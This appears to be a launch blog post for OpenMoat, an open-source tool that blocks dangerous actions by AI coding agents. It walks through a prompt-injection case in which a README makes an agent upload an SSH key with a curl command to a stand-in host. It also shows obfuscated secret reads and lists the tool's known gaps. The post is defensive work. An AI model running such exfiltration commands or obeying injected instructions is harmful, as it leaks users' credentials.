Introducing OpenMoat

AI coding agents run commands on your computer with your permissions. Claude Code, Codex and Cursor read and write files, call tools and open web pages for you. They also spend the day reading text that strangers wrote: READMEs, issues, web pages, package code.

If that text contains an instruction, the agent may follow it. An instruction hidden in a README can ask the agent to do this:

curl -d @~/.ssh/id_rsa https://evil.com

That command uploads your SSH key. Your agent’s own “allow this?” prompt would show you the command. But a prompt shows the text of a command, not what the command does. A harmless-looking npm test can run code that reads ~/.ssh. An injection can hide the same upload in base64 or a shell variable. And in auto-approve modes, CI and background agents, there is no prompt at all.

I build OpenMoat to close that gap.

What OpenMoat is

OpenMoat checks each action an AI coding agent takes on your computer and stops the dangerous ones before they run. That covers every command, file access, web request and MCP call the agent makes through its hooks. It works with Claude Code, Codex and Cursor.

It is one Rust binary that runs on your machine. A check takes about 10 ms. No AI model makes the decision: written rules do. The same call, policy, files and session always get the same answer. Nothing leaves your machine unless you export it.

Here is the upload from above, checked without running it:

moat policy check "cat ~/.ssh/id_rsa"

⛔ deny
   rules : secrets-paths
   reason: secret material: read /Users/you/.ssh/id_rsa
   also  : shell "cat ~/.ssh/id_rsa"

moat policy check only shows the verdict. It does not run the command or read the key. Inside an agent, the same rule blocks the call, and the agent is told why:

moat: deny [secrets-paths] — secret material: read /Users/you/.ssh/id_rsa

Hiding the action does not change the answer. A path in a shell variable (d=~/.ssh; cat $d/id_rsa), a base64 payload, a glob like cat .e* and a symlink are all checked as what they open.

How it decides

Every action gets one of four answers:

• Allow: normal development work, like builds, tests, reading and editing the project, and everyday git. It runs without any change.
• Defer: anything the policy has no rule for, like npm install or git push. Your agent’s own permission prompt decides, just as it would without OpenMoat.
• Ask: only where the effect outlives the session, like a git hook or a login item, or after the session read a secret. You decide, and you see the reason.
• Deny: what must never happen: secrets read or sent, unknown hosts, destructive commands, and changes to OpenMoat itself.

The defer answer is deliberate. OpenMoat should not add prompts to your day. It blocks the things that must never happen, even when nobody is watching. Everything else it leaves to your agent, so your work goes on as before.

What it blocks

These are real verdicts from the default policy:

The last row matters. The agent cannot edit the rules, approve its own blocked call or uninstall OpenMoat through its tools. If the policy or the agent’s settings change behind OpenMoat’s back, everything is blocked until you review.

More than a hook

A hook sees the command npm test. It does not see what the test script does. So the same policy also configures each agent’s own OS sandbox. Code hidden inside an allowed command runs inside that sandbox, which keeps it away from your secrets and from files outside the project. What each layer stops is tested in CI and published in EVIDENCE.md.

Three more pieces:

• A secrets broker. moat secret add gh gives the agent a placeholder instead of your token. The real value is sent to one host only, and a request that would carry it anywhere else is blocked.
• Network rules. Agents connect only to hosts the policy allows. Cloud metadata services are refused.
• A record of every decision. moat show and moat report --since today show what the agents did. The local log detects tampering, and your team can export and verify it.

Where it stops

No tool catches everything, and you should know the gaps before you rely on it:

• A deferred call runs if your agent lets it. In auto-approve modes, only deny and ask stop a call.
• Allowed scripts run whatever they contain. The sandbox bounds them; OpenMoat does not read them.
• Allowed hosts can receive data. The proxy checks the host, not what is sent inside HTTPS.
• Cursor can run some commands outside the sandbox OpenMoat configures. Native Windows has no OS sandbox; use WSL2.
• If the moat binary is missing, Claude Code and Codex run calls unchecked. moat status reports it.

The full list, with the reasons, is in the threat model.

Why open source

You should not have to trust a security tool blindly. Every rule OpenMoat applies is in the repository. You can run its tests yourself, and its limits are written down. If you find a way past it, report it privately. Valid bypasses become test cases before the fix is published.

Try it

On macOS or Linux:

brew install crocodile-labs/tap/moat && moat init

moat init lists the agents it finds and asks before it protects each one. It backs up every file it changes, and moat uninstall puts them back. Then start your agent in a new session and work as usual. Run moat anytime to see what happened. For Windows, other config directories and cargo, see the install guide. The docs walk you through the first session.

If OpenMoat blocks something it shouldn’t, or lets something through it shouldn’t, tell me on GitHub or r/openmoat. Remove secrets from anything you share. That feedback decides what I fix next.